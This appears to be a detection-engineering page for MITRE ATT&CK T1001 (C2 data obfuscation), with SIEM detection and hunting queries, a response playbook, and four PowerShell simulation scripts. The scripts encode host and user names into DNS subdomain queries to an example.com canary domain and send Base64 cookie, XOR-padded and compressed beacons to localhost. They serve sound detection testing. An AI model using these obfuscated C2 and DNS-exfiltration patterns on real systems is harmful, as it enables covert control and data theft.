Data Obfuscation
Adversaries may obfuscate command and control traffic to make it more difficult to detect. C2 communications are hidden—though not necessarily encrypted—in an attempt to make content more difficult to discover or decipher and to reduce conspicuousness. Observed techniques include adding junk data to protocol traffic to frustrate pattern matching (T1001.001), embedding payloads in image or media files via steganography (T1001.002), and impersonating legitimate protocols to blend with normal traffic (T1001.003). Real-world examples include Okrum hiding C2 commands in HTTP Cookie and Set-Cookie headers, RDAT encoding AES ciphertext in DNS subdomain labels, FunnyDream sending zlib-compressed obfuscated packets, StrelaStealer XOR-encrypting HTTP POST payloads, Ninja modifying HTTP headers and URL paths to masquerade as legitimate services, and TrailBlazer disguising C2 traffic as Google Notifications HTTP requests.
What is T1001 Data Obfuscation?
Data Obfuscation (T1001) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.
This page provides production-ready detection logic for Data Obfuscation, covering the data sources and telemetry it touches: Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation, Azure DNS Analytics (DnsEvents), Microsoft Defender for Endpoint (DeviceNetworkEvents), Proxy/Firewall CEF logs (CommonSecurityLog). The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Command and Control
- Technique
- T1001 Data Obfuscation
- Canonical reference
- https://attack.mitre.org/techniques/T1001/
// T1001: Data Obfuscation — Multi-vector C2 obfuscation detection
// Covers three key patterns: high-entropy DNS labels, non-browser HTTP beaconing, and Base64-encoded proxy URIs
//
// VECTOR 1: High-entropy DNS subdomain labels (e.g., RDAT embedding AES ciphertext in subdomains)
let HighEntropyDNS = DnsEvents
| where TimeGenerated > ago(24h)
| where SubType == "LookupQuery"
| where isnotempty(Name)
| extend Labels = split(Name, ".")
| extend SubdomainLabel = tostring(Labels[0])
| where strlen(SubdomainLabel) >= 30
// Match Base64/hex-alphabet strings — typical of encoded C2 payloads
| where SubdomainLabel matches regex @"^[A-Za-z0-9+/=_\-]+$"
// Exclude common GUID/UUID patterns used by CDNs
| where SubdomainLabel !matches regex @"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-"
| project TimeGenerated, Computer, ClientIP, QueryName = Name,
SubdomainLabel, SubdomainLength = strlen(SubdomainLabel)
| extend DetectionVector = "HighEntropyDNSSubdomain", Severity = "High";
//
// VECTOR 2: Non-browser HTTP/HTTPS beaconing from suspicious processes
// (junk data or obfuscated payloads in regular C2 check-ins)
let SuspectBeaconing = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where ActionType == "ConnectionSuccess"
| where RemotePort in (80, 443, 8080, 8443)
| where RemoteIPType == "Public"
| where InitiatingProcessFileName !in~ (
"chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe",
"opera.exe", "brave.exe", "SearchApp.exe", "OneDrive.exe",
"Teams.exe", "Outlook.exe", "slack.exe", "msteams.exe",
"zoom.exe", "dropbox.exe", "svchost.exe", "MsMpEng.exe",
"SenseCE.exe", "SenseIR.exe", "MsSense.exe"
)
| summarize
ConnectionCount = count(),
UniqueDestIPs = dcount(RemoteIP),
DestIPs = make_set(RemoteIP, 5),
DestPorts = make_set(RemotePort),
EarliestConn = min(Timestamp),
LatestConn = max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessId,
InitiatingProcessCommandLine, AccountName
| where ConnectionCount >= 10
| extend SpanMinutes = datetime_diff('minute', LatestConn, EarliestConn)
| where SpanMinutes > 0
| extend ConnPerMinute = round(toreal(ConnectionCount) / toreal(SpanMinutes), 2)
// Beaconing range: 0.1–4 connections/min (every 15 seconds to ~10 minutes)
| where ConnPerMinute between (0.1 .. 4.0)
| project TimeGenerated = LatestConn, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AccountName,
ConnectionCount, UniqueDestIPs, DestIPs, ConnPerMinute
| extend DetectionVector = "SuspectHTTPBeaconing", Severity = "Medium";
//
// VECTOR 3: Base64 / high-entropy data embedded in HTTP proxy request URIs
// (characteristic of malware encoding C2 commands in URL path segments)
let EncodedProxyTraffic = CommonSecurityLog
| where TimeGenerated > ago(24h)
| where DeviceEventCategory has_any ("proxy", "web-filtering", "URL")
| where isnotempty(RequestURL)
// 40+ contiguous Base64-alphabet characters in the URL path indicate encoded content
| where RequestURL matches regex @"[A-Za-z0-9+/]{40,}={0,2}"
// Exclude well-known OAuth/CDN endpoints that legitimately embed tokens in URLs
| where RequestURL !has "accounts.google.com"
and RequestURL !has "login.microsoftonline.com"
and RequestURL !has ".windowsupdate.com"
and RequestURL !has "cdn.jsdelivr.net"
and RequestURL !has "akamaihd.net"
| project TimeGenerated, DeviceName, SourceIP, DestinationHostName,
RequestURL, RequestMethod, DestinationPort, SourceUserName
| extend DetectionVector = "Base64EncodedProxyURI", Severity = "Medium";
//
// Combine all vectors and surface results
union HighEntropyDNS, SuspectBeaconing, EncodedProxyTraffic
| sort by TimeGenerated desc Multi-vector detection for T1001 Data Obfuscation using three parallel approaches: (1) DnsEvents analysis for high-entropy subdomain labels (>= 30 chars of Base64/hex-alphabet characters) indicative of encoded C2 payloads embedded in DNS queries as seen in RDAT malware; (2) DeviceNetworkEvents beaconing analysis detecting non-browser processes making 10+ HTTP/HTTPS connections to public IPs at a regular rate (0.1–4/min), a pattern consistent with malware performing regular C2 check-ins with obfuscated or junk-padded payloads; (3) CommonSecurityLog proxy analysis detecting Base64-encoded strings (40+ characters) embedded in HTTP request URI paths. Results are unioned and sorted chronologically. Requires DNS Analytics solution for DnsEvents, MDE for DeviceNetworkEvents, and a CEF-forwarding proxy for CommonSecurityLog.
Data Sources
Required Tables
False Positives
- Legitimate software update clients (Windows Update, Chrome update, application auto-updaters) making regular HTTP check-in connections at predictable intervals — exclude by process name and destination domain allowlist
- Cloud synchronization agents (OneDrive, Dropbox, Box, iCloud) establishing frequent HTTPS connections with encoded content in URLs — add to the excluded process list in Vector 2
- CDN and authentication platforms (Akamai, Cloudflare, Azure AD) using long Base64 tokens in redirect URLs — extend the exclusion list in Vector 3 with known CDN domains
- Security monitoring and endpoint agents (CrowdStrike, SentinelOne, Qualys) beaconing at regular intervals to management infrastructure — identify agent process names and exclude them
- Internal DNS-based service discovery mechanisms or Kubernetes DNS with long service names — review high-entropy DNS alerts against internal DNS server IPs before escalating
- Web application firewalls or DLP proxies that re-encode request URLs during forwarding — validate by checking SourceIP against known proxy infrastructure
Sigma rule & cross-platform mapping
The detection logic for Data Obfuscation (T1001) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1001
References (7)
- https://attack.mitre.org/techniques/T1001/
- https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf
- https://www.cisa.gov/sites/default/files/publications/MAR-10303705-1.v1.WHITE.pdf
- https://www.kaspersky.com/about/press-releases/2022_toddycat
- https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1001/T1001.md
- https://docs.splunk.com/Documentation/StreamApp/latest/DeployStreamApp/AboutSplunkStream
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Encoded C2 Data in DNS Subdomain Queries (RDAT Pattern)
Expected signal: Sysmon Event ID 22 (DNS Query): Three DNS queries where QueryName contains 30+ character Base64-alphabet subdomains prepended to test-canary.example.com. DNS server query logs (if forwarded to SIEM): same queries with NXDOMAIN responses. Windows DNS Client cache: ipconfig /displaydns will show the queried names.
- Test 2Obfuscated Cookie-Based C2 Simulation (Okrum Pattern)
Expected signal: Sysmon Event ID 3 (Network Connection): outbound connection from powershell.exe to 127.0.0.1:8888. stream:http (if full packet capture enabled): HTTP GET request with Cookie header containing 50+ character Base64 string and a non-standard User-Agent. Sysmon Event ID 1: powershell.exe process creation with the above command line.
- Test 3Block-Aligned HTTP POST Payload (AES-Padded C2 Response Pattern)
Expected signal: Sysmon Event ID 3: Four outbound connections from powershell.exe to 127.0.0.1:9090 with 3-second intervals. stream:http: POST requests to /update with content-type application/octet-stream; User-Agent 'Windows-Update-Agent/10.0' does not match standard Windows Update agent strings. Network bytes_out should reflect block-aligned sizes.
- Test 4Junk Data Padding in DNS TXT Record Queries (FunnyDream/Compression Pattern)
Expected signal: Sysmon Event ID 22: DNS TXT query for a 32-char random-prefix subdomain of junk-obfuscation-test.example.com. Sysmon Event ID 3: outbound HTTP connection from powershell.exe to 127.0.0.1:7777. stream:http: POST with Content-Type application/x-compress and base64-encoded deflate-compressed body — unusual content-type for browser-originated traffic.
Response Playbook
Triage
- Identify the detection vector that fired: DNS subdomain entropy, HTTP beaconing, Base64-in-URI, or encoded cookies. Each vector requires a different initial investigation path.
- For DNS entropy alerts: extract the full query name and decode the subdomain label from Base64. Determine if the decoded content is plaintext commands, binary data, or encrypted blobs. Check the destination resolver IP — is it an internal DNS server or a direct external IP (bypassing corporate DNS)?
- For HTTP beaconing alerts: inspect the full URL and request/response headers. Calculate the inter-request interval using DeviceNetworkEvents timestamps — intervals between 30 and 600 seconds with low jitter (< 10% variance) are highly suspicious. Check if the User-Agent matches the initiating process (e.g., powershell.exe should not present as Mozilla/5.0).
- For encoded cookie/URI alerts: extract the Base64 payload and attempt decoding. If the decoded content is binary or appears XOR-encrypted, flag for escalation. Check the destination domain against threat intelligence feeds (VirusTotal, Recorded Future, MISP).
- Pivot from the alerting host to determine process lineage: what spawned the process making obfuscated network connections? Parent processes like Office applications, script interpreters (wscript.exe, cscript.exe), or document readers are strong indicators of phishing-delivered malware.
- Check if the remote IP or domain has been seen in the environment before using DeviceNetworkEvents historical data. First-time connections to previously unseen IPs from a non-browser process warrant immediate escalation.
- Review the volume and timing of obfuscated traffic. C2 frameworks typically beacon at predictable intervals (5 min, 10 min, 30 min check-ins). Irregular timing with exponential backoff may indicate more sophisticated adversary tooling.
- Correlate with authentication logs (SigninLogs, SecurityEvent 4624/4648) around the same timeframe. Successful logins from unusual IPs or countries shortly before obfuscated traffic appears may indicate a compromised account being used for C2 staging.
Containment
- If C2 communication is confirmed: immediately isolate the affected endpoint using EDR network isolation (MDE: device isolation, CrowdStrike: contain host) or emergency VLAN change via network team.
- Block the identified C2 IP addresses and domains at the perimeter firewall, web proxy, and DNS resolver simultaneously. DNS-level blocking prevents fallback channel resolution. Use threat intelligence platform to identify additional IPs in the same ASN used by the C2 infrastructure.
- If encoded data was found in DNS queries: block the suspicious domain at the internal recursive resolver and disable DNS-over-HTTPS (DoH) on the host to prevent resolver bypassing. Review DNS query logs for the previous 30 days to determine scope of compromise.
- Disable the implicated user account in Active Directory and revoke all active OAuth tokens and PRT (Primary Refresh Token) via Azure AD if cloud access is suspected. Reset credentials for any service accounts observed in the process lineage.
- If lateral movement is suspected based on the timeline: isolate additional hosts that communicated with the same C2 IP range. Query DeviceNetworkEvents across the fleet for the same remote IPs and ports.
- Preserve volatile memory (RAM) before rebooting the isolated host — many C2 implants are memory-resident. Use an approved forensic memory acquisition tool (WinPMEM, Magnet RAM Capture) before any remediation steps.
Evidence Collection
- Full packet capture (PCAP) from the timeframe of obfuscated traffic — if available via NDR (Zeek, ExtraHop, Darktrace), extract the full TCP/UDP streams for content analysis. Decrypt TLS sessions if enterprise SSL inspection is enabled.
- Sysmon Event ID 22 (DNS Query) logs from the affected host — provides ground truth for all DNS queries made by specific processes, including queries that may not appear in network DNS logs.
- Sysmon Event ID 3 (Network Connection) for the full list of outbound connections from the C2 process, including connection timestamps for interval analysis.
- Sysmon Event ID 1 (Process Create) and Event ID 5 (Process Terminate) for the malicious process — capture full command line, parent process, user context, and process GUID for timeline reconstruction.
- HTTP proxy logs (Squid, Zscaler, Bluecoat) for the full request/response headers including Cookie, Set-Cookie, X-Forwarded-For, and custom headers that may carry obfuscated data.
- Browser or network proxy cache artifacts: %APPDATA%\Microsoft\Windows\WebCache\WebCacheV01.dat, Chrome History database, Firefox places.sqlite — may contain evidence of watering hole sites that delivered the initial payload.
- Windows prefetch files (C:\Windows\Prefetch\) for the malicious process — confirm execution timestamps and loaded DLL/resource patterns.
- Registry Run keys and scheduled tasks (HKLM/HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, schtasks /query /fo LIST /v) to identify persistence mechanisms installed alongside the C2 implant.
- PowerShell Operational logs (Event IDs 4103, 4104) if the implant uses PowerShell for C2 — ScriptBlock Logging captures deobfuscated script content even after encoded command execution.
Escalation Criteria
- ! DNS subdomain label decodes to recognizable binary content, structured data, or commands — indicates active exfiltration or C2 command passing via DNS tunnel
- ! Process-to-C2 connection established from a privileged or service account (SYSTEM, Domain Admin, service account) with no corresponding change ticket or maintenance window
- ! Beaconing observed to more than one distinct C2 IP (fallback channels active) — indicates mature implant with built-in resilience, requiring immediate incident response engagement
- ! Encoded cookie or URI payload decodes to content containing internal hostnames, IP addresses, credentials, or file paths — data exfiltration in progress
- ! C2 IP resolves to infrastructure tagged as APT-associated in threat intelligence (MISP, VirusTotal, Recorded Future) — nation-state actor involvement
- ! More than three endpoints beaconing to the same C2 IP within a 24-hour window — indicates worm-like propagation or coordinated compromise, escalate to Major Incident
- ! Obfuscated traffic detected after-hours (outside 08:00–18:00 local time) from a standard workstation — reduces likelihood of legitimate administrative activity
Investigation Guide
Forensic Artifacts
- >
Network PCAP files from NDR/IDS: look for HTTP requests where Cookie or Set-Cookie headers contain 50+ chars of Base64 data, or where request body size is a consistent multiple of 16 (AES block alignment) - >
Windows DNS Client cache: ipconfig /displaydns — shows recently resolved domains including any C2 domains reached via encoded subdomain queries - >
Sysmon EventID 22 logs: C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx — complete DNS query history per process - >
Hosts file: C:\Windows\System32\drivers\etc\hosts — check for C2 domain redirections or local listener entries - >
WinInet cache: %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\ — cached HTTP responses from C2 may preserve response structure - >
Process memory dumps: vol.py with malfind plugin can identify injected shellcode or unpacked implant code in memory regions of the beaconing process - >
Windows Firewall connection log: C:\Windows\System32\LogFiles\Firewall\pfirewall.log — independent record of outbound connections even if Sysmon is not deployed - >
Linux: /proc/<pid>/net/tcp — shows active TCP connections for the suspect process at time of live response - >
macOS: `netstat -anpv tcp` output and `/private/var/log/system.log` for network events from the implanted process
Tuning Guidance
T1001 detections generate substantial noise in environments with active cloud services, SaaS applications, and security tools that naturally produce high-entropy network traffic. Begin tuning by building an inventory of expected high-frequency network communicators in your environment: EDR agents, cloud sync clients (OneDrive, Dropbox), backup agents, monitoring collectors (Datadog, Dynatrace, SolarWinds), and patch management systems. Create a process-name allowlist and a destination-domain allowlist for the beaconing detection. For DNS entropy detection, calculate a baseline of your longest legitimate subdomain label lengths across 30 days — many organizations find a natural cutoff around 20–25 characters where malicious encoding begins to appear. Tune the subdomain length threshold accordingly. For the stream:http cookie detection, first identify SaaS platforms used in your environment that set long session tokens in cookies (Salesforce, Workday, ServiceNow) and exclude their domains. Consider layering: single-flag alerts can feed into a SOAR enrichment workflow, while suspicion scores of 3+ trigger direct analyst escalation. For the beaconing jitter-ratio hunt, initially run it in 'report' mode for two weeks to establish what ConnPerMinute and JitterRatio values characterize legitimate update agents in your specific environment before setting thresholds. Most mature detection teams find that requiring two corroborating signals (e.g., beaconing AND high-entropy DNS from the same host within 1 hour) dramatically reduces false positives while maintaining strong true-positive detection.
Hunting Queries
Hunt for statistically regular beaconing patterns that indicate obfuscated C2 communications. Calculates inter-connection intervals and their standard deviation; a jitter ratio below 0.15 (< 15% variance) indicates machine-generated timing consistent with malware check-in intervals. This differs from the main detection by specifically measuring timing regularity rather than just connection frequency, identifying implants with low-and-slow obfuscated beaconing that would not trigger volume-based rules.
// Hunt: Detect processes with statistically regular beacon intervals
// Uses standard deviation of inter-connection timestamps to identify beaconing cadence
let TimeWindow = ago(7d);
DeviceNetworkEvents
| where Timestamp > TimeWindow
| where ActionType == "ConnectionSuccess"
| where RemoteIPType == "Public"
| where RemotePort in (80, 443, 8080, 8443)
| where InitiatingProcessFileName !in~ (
"chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe",
"OneDrive.exe", "Teams.exe", "MsMpEng.exe", "svchost.exe"
)
| sort by DeviceName, InitiatingProcessFileName, RemoteIP, Timestamp asc
| serialize
| extend PrevTimestamp = prev(Timestamp, 1)
| extend PrevProcess = prev(InitiatingProcessFileName, 1)
| extend PrevDevice = prev(DeviceName, 1)
| extend PrevRemoteIP = prev(RemoteIP, 1)
| where DeviceName == PrevDevice
and InitiatingProcessFileName == PrevProcess
and RemoteIP == PrevRemoteIP
| extend IntervalSeconds = datetime_diff('second', Timestamp, PrevTimestamp)
| where IntervalSeconds > 0 and IntervalSeconds < 3600
| summarize
ConnectionCount = count(),
AvgIntervalSec = round(avg(IntervalSeconds), 1),
StdDevSec = round(stdev(IntervalSeconds), 1),
MinInterval = min(IntervalSeconds),
MaxInterval = max(IntervalSeconds)
by DeviceName, InitiatingProcessFileName, RemoteIP, InitiatingProcessCommandLine, AccountName
| where ConnectionCount >= 8
// Low standard deviation relative to mean = highly regular beaconing
| extend JitterRatio = round(StdDevSec / AvgIntervalSec, 3)
| where JitterRatio < 0.15
| sort by JitterRatio asc, ConnectionCount desc index=network sourcetype="stream:http" earliest=-7d
| sort 0 src_ip, dest_ip, _time
| streamstats current=f last(_time) as prev_time by src_ip, dest_ip
| eval interval_seconds=_time - prev_time
| where interval_seconds > 0 AND interval_seconds < 3600
| stats
count as connection_count,
avg(interval_seconds) as avg_interval,
stdev(interval_seconds) as stdev_interval,
min(interval_seconds) as min_interval,
max(interval_seconds) as max_interval,
values(uri_path) as uri_paths
by src_ip, dest_ip, site
| where connection_count >= 8
| eval jitter_ratio=round(stdev_interval / avg_interval, 3)
| where jitter_ratio < 0.15
| sort jitter_ratio, - connection_count
| table src_ip, dest_ip, site, connection_count, avg_interval, stdev_interval, jitter_ratio, uri_paths Hunt for DNS tunneling C2 channels by identifying base domains that receive a high volume of NXDOMAIN responses for high-entropy subdomain queries. Malware using DNS for obfuscated C2 (like RDAT) often queries unique encoded subdomains that do not exist in DNS, generating NXDOMAIN responses while still transmitting encoded data in the query string. Multiple distinct high-entropy subdomain queries to the same base domain is a strong indicator of active DNS tunneling.
// Hunt: DNS queries with NXD (non-existent domain) responses that have high-entropy labels
// Malware attempting DNS C2 often queries non-existent subdomains to pass encoded data
// even when the authoritative server is unavailable, generating NXDOMAIN responses
DnsEvents
| where TimeGenerated > ago(7d)
| where ResultCode == 3 // NXDOMAIN — non-existent domain
| where isnotempty(Name)
| extend Labels = split(Name, ".")
| extend SubLabel = tostring(Labels[0])
| extend SubLen = strlen(SubLabel)
| where SubLen >= 20
// Exclude common legitimate short-hash subdomains from SaaS platforms
| where SubLabel !has "-" or SubLen > 40
| summarize
NXDQueryCount = count(),
DistinctSubLabels = dcount(SubLabel),
SampleLabels = make_set(SubLabel, 5),
AffectedHosts = make_set(Computer, 10),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by BaseDomain = strcat(tostring(Labels[-2]), ".", tostring(Labels[-1]))
| where NXDQueryCount > 5
| sort by NXDQueryCount desc index=network (sourcetype="bro:dns" OR sourcetype="zeek:dns") earliest=-7d
| where rcode_name="NXDOMAIN" OR rcode=3
| eval query_labels=split(query, ".")
| eval first_label=mvindex(query_labels, 0)
| eval label_len=len(first_label)
| eval base_domain=mvjoin(mvindex(query_labels, -2, -1), ".")
| where label_len >= 20
| stats
count as nxd_query_count,
dc(first_label) as distinct_sub_labels,
values(first_label) as sample_labels,
dc(id_orig_h) as affected_hosts,
earliest(_time) as first_seen,
latest(_time) as last_seen
by base_domain
| where nxd_query_count > 5
| sort - nxd_query_count
| table base_domain, nxd_query_count, distinct_sub_labels, affected_hosts, first_seen, last_seen, sample_labels Hunt for processes loading both network communication (WinHTTP/WinINet) and cryptographic (BCrypt/CryptSP/NCrypt) libraries simultaneously, which is characteristic of C2 implants implementing obfuscated encrypted communications. Legitimate processes rarely need to load this combination unless they are browsers, system services, or security tools — all excluded from this query. This hunts for a different behavioral pattern than the main detection (DLL load sequence rather than network traffic analysis).
// Hunt: Identify processes loading network communication libraries unusually
// (DLL loads that indicate custom HTTP/encoding stack — common in obfuscated C2 implants)
// Focuses on non-browser processes loading WinHTTP + crypto libraries simultaneously
DeviceImageLoadEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName !in~ (
"chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe",
"MsMpEng.exe", "svchost.exe", "lsass.exe", "services.exe"
)
| where FileName in~ ("winhttp.dll", "wininet.dll", "ws2_32.dll",
"cryptsp.dll", "bcrypt.dll", "ncrypt.dll",
"dnsapi.dll", "iphlpapi.dll")
| summarize
LoadedLibraries = make_set(FileName),
LibraryCount = dcount(FileName)
by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessId, AccountName
| where LibraryCount >= 3
// Process loaded network + crypto libraries — characteristic of obfuscated C2 implant
| where LoadedLibraries has_any ("winhttp.dll", "wininet.dll")
and LoadedLibraries has_any ("bcrypt.dll", "cryptsp.dll", "ncrypt.dll")
| sort by LibraryCount desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7 earliest=-7d
NOT (Image="*\\chrome.exe" OR Image="*\\firefox.exe" OR Image="*\\msedge.exe"
OR Image="*\\MsMpEng.exe" OR Image="*\\svchost.exe")
(ImageLoaded="*\\winhttp.dll" OR ImageLoaded="*\\wininet.dll"
OR ImageLoaded="*\\bcrypt.dll" OR ImageLoaded="*\\cryptsp.dll"
OR ImageLoaded="*\\ncrypt.dll" OR ImageLoaded="*\\dnsapi.dll")
| stats
dc(ImageLoaded) as library_count,
values(ImageLoaded) as loaded_libraries
by host, Image, CommandLine, ProcessId, User
| where library_count >= 3
| eval has_network=if(match(mvjoin(loaded_libraries, " "), "(winhttp\\.dll|wininet\\.dll)"), 1, 0)
| eval has_crypto=if(match(mvjoin(loaded_libraries, " "), "(bcrypt\\.dll|cryptsp\\.dll|ncrypt\\.dll)"), 1, 0)
| where has_network=1 AND has_crypto=1
| sort - library_count
| table host, Image, CommandLine, User, library_count, loaded_libraries Atomic Red Team Tests
Simulates the RDAT malware technique of encoding C2 communication data within DNS subdomain labels. Executes a series of nslookup queries where the subdomain portion contains Base64-encoded strings of varying lengths. This tests whether DNS monitoring (Sysmon EventID 22, DNS server query logs, or NDR) captures and alerts on high-entropy subdomain queries consistent with DNS tunneling.
Command
powershell.exe -Command @'
$encodedPayloads = @(
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("cmd:whoami:" + (Get-Date -Format "yyyyMMddHHmmss"))),
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("beacon:alive:" + $env:COMPUTERNAME)),
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("exfil:testdata:" + $env:USERNAME))
)
foreach ($payload in $encodedPayloads) {
$cleanPayload = $payload -replace '[^A-Za-z0-9]', ''
$query = "$cleanPayload.test-canary.example.com"
Write-Host "[*] Querying: $query"
Resolve-DnsName $query -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
'@ Expected Telemetry
Sysmon Event ID 22 (DNS Query): Three DNS queries where QueryName contains 30+ character Base64-alphabet subdomains prepended to test-canary.example.com. DNS server query logs (if forwarded to SIEM): same queries with NXDOMAIN responses. Windows DNS Client cache: ipconfig /displaydns will show the queried names.
Expected Detection
KQL Vector 1 (HighEntropyDNS): DnsEvents records with SubdomainLabel.length >= 30. SPL DNS hunt: zeek:dns records with first_label length >= 30. Hunting query 2 (NXD entropy) fires on NXDOMAIN responses for high-entropy subdomains. Alert should trigger within 60 seconds of query execution.
Simulates the Okrum malware technique of embedding C2 commands and responses in HTTP Cookie and Set-Cookie headers. Uses PowerShell's WebClient to send HTTP requests containing Base64-encoded payloads in the Cookie header to a localhost listener. This mimics how Okrum passed commands to the implant through Cookie header values without modifying the HTTP request body.
Command
powershell.exe -Command @'
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("SESSION_ID=dGVzdC1wYXlsb2Fk;AUTH=YWRtaW46cGFzc3dvcmQ="))
$encodedPadded = $encodedCmd + "==" * ((4 - $encodedCmd.Length % 4) % 4)
$headers = @{
"Cookie" = "PHPSESSID=$encodedPadded; session_token=abc123"
"User-Agent" = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)"
"X-Request-ID" = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("req:" + (Get-Random)))
}
$client = New-Object System.Net.WebClient
foreach ($key in $headers.Keys) {
$client.Headers.Add($key, $headers[$key])
}
try {
$response = $client.DownloadString("http://127.0.0.1:8888/index.php")
} catch {
Write-Host "[*] Connection failed (expected if no listener) - process/network events generated"
}
Write-Host "[*] Cookie header sent with encoded payload: $encodedPadded"
'@ Expected Telemetry
Sysmon Event ID 3 (Network Connection): outbound connection from powershell.exe to 127.0.0.1:8888. stream:http (if full packet capture enabled): HTTP GET request with Cookie header containing 50+ character Base64 string and a non-standard User-Agent. Sysmon Event ID 1: powershell.exe process creation with the above command line.
Expected Detection
SPL stream:http: flag_encoded_cookie=1 (Cookie header 50+ char Base64), flag_suspicious_ua=1 (non-standard User-Agent), suspicion_score >= 2. KQL Vector 3 (if proxy-intercepted): CommonSecurityLog entry with encoded Cookie in request headers. Main detection fires within 30 seconds of execution.
Simulates malware that sends AES-encrypted or padded C2 traffic where the HTTP POST body size is always a multiple of 16 bytes (AES block size). This pattern — seen in StrelaStealer and other implants using symmetric encryption for obfuscation — can be detected by analyzing response/request body sizes. Creates HTTP POST requests with bodies of exactly 16, 32, 48, and 64 bytes to a local listener.
Command
powershell.exe -Command @'
function Send-BlockAlignedPost {
param([int]$BlockCount)
$blockSize = 16
$payloadSize = $blockSize * $BlockCount
# Create a payload of exactly $payloadSize bytes (simulating AES-padded content)
$payload = [System.Text.Encoding]::ASCII.GetBytes('A' * $payloadSize)
$xorKey = 0x42
$xoredPayload = $payload | ForEach-Object { $_ -bxor $xorKey }
$encodedPayload = [Convert]::ToBase64String($xoredPayload)
$request = [System.Net.HttpWebRequest]::Create("http://127.0.0.1:9090/update")
$request.Method = "POST"
$request.ContentType = "application/octet-stream"
$request.UserAgent = "Windows-Update-Agent/10.0"
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($encodedPayload)
$request.ContentLength = $bodyBytes.Length
try {
$stream = $request.GetRequestStream()
$stream.Write($bodyBytes, 0, $bodyBytes.Length)
$stream.Close()
$response = $request.GetResponse()
} catch {
Write-Host "[*] Block-aligned POST sent: $payloadSize bytes (encoded: $($bodyBytes.Length))"
}
}
foreach ($blocks in @(1, 2, 3, 4)) {
Send-BlockAlignedPost -BlockCount $blocks
Start-Sleep -Seconds 3
}
'@ Expected Telemetry
Sysmon Event ID 3: Four outbound connections from powershell.exe to 127.0.0.1:9090 with 3-second intervals. stream:http: POST requests to /update with content-type application/octet-stream; User-Agent 'Windows-Update-Agent/10.0' does not match standard Windows Update agent strings. Network bytes_out should reflect block-aligned sizes.
Expected Detection
SPL stream:http: flag_suspicious_ua=1 (non-standard UA), flag_block_aligned=1 (block-aligned response size), flag_post_to_ip=1 (POST to IP not domain), suspicion_score >= 3. Main beaconing detection fires on repeated connections at 3-second intervals from powershell.exe.
Simulates the junk data obfuscation sub-technique (T1001.001) by making DNS TXT record queries that include randomized junk labels appended to a C2 domain, and also simulates retrieval of zlib-compressed data from a command channel. This tests detection of unusual DNS query types (TXT records from endpoints) and network traffic containing compressed binary payloads.
Command
powershell.exe -Command @'
# Simulate junk data in DNS by querying TXT records with randomized prefixes
$junkData = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 32 | ForEach-Object {[char]$_})
Write-Host "[*] Junk prefix generated: $junkData"
Resolve-DnsName "$junkData.junk-obfuscation-test.example.com" -Type TXT -ErrorAction SilentlyContinue
Start-Sleep -Seconds 1
# Simulate zlib-compressed C2 beacon (FunnyDream pattern)
$stream = New-Object System.IO.MemoryStream
$compressor = New-Object System.IO.Compression.DeflateStream($stream, [System.IO.Compression.CompressionMode]::Compress)
$writer = New-Object System.IO.StreamWriter($compressor)
$writer.Write("beacon:alive:" + $env:COMPUTERNAME + ":" + (Get-Date -Format "o"))
$writer.Close()
$compressedPayload = $stream.ToArray()
$encodedCompressed = [Convert]::ToBase64String($compressedPayload)
Write-Host "[*] Compressed beacon payload: $encodedCompressed"
# Attempt to send compressed payload via HTTP
$client = New-Object System.Net.WebClient
$client.Headers.Add("Content-Type", "application/x-compress")
$client.Headers.Add("User-Agent", "Mozilla/5.0")
try {
$client.UploadString("http://127.0.0.1:7777/c2", $encodedCompressed)
} catch {
Write-Host "[*] Compressed beacon attempted (connection failed - expected)"
}
'@ Expected Telemetry
Sysmon Event ID 22: DNS TXT query for a 32-char random-prefix subdomain of junk-obfuscation-test.example.com. Sysmon Event ID 3: outbound HTTP connection from powershell.exe to 127.0.0.1:7777. stream:http: POST with Content-Type application/x-compress and base64-encoded deflate-compressed body — unusual content-type for browser-originated traffic.
Expected Detection
